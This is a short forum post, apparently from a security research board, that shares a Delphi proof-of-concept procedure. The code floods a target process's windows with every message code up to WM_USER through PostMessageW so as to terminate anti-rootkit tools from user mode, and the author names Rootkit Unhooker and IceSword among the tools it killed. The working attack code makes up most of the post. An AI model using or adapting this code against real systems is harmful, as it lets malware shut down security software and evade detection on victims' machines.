Decided to share a very simple yet effective "generic" PoC, aka stupid ugly nasty hack, I wrote after analyzing some existing ARK self-protection mechanisms, even those with deep kernel object hooks, shadow table hooks etc. Some programs tested against were Rootkit Unhooker 3.8.389.593 LE SR2, IceSword 1.22 and was even able to terminate Sudami PoC all from ring3 (despite the fact that the author touts that PostMessage will not work against his GUI window) :lol:
For Vista+ OS I would recommend admin rights for testing if you're inclined to do so...
For Vista+ OS I would recommend admin rights for testing if you're inclined to do so...
Code: Select all
procedure R3WPK(const PID: DWORD);
var
hWin: HWND;
hParent: HWND;
dwPID: DWORD;
WM_XxX: DWORD;
bFuckParent: BOOL;
const
MAX_HWND = $10000;
begin
hWin := 0;
while (hWin <= MAX_HWND) do
begin
if (GetWindowThreadProcessId(hWin, @dwPID) <> 0) and (dwPID = PID) then
begin
hParent := GetParent(hWin);
bFuckParent := (GetWindowThreadProcessId(hParent, @dwPID) <> 0) and (dwPID = PID);
WM_XxX := 0;
while (WM_XxX <= WM_USER) do
begin
if (bFuckParent) then
PostMessageW(hParent, WM_XxX, 0, 0);
PostMessageW(hWin, WM_XxX, 0, 0);
inc(WM_XxX);
end;
end;
inc(hWin, 2);
end;
end;
Accept nothing less than STATUS_SUCCESS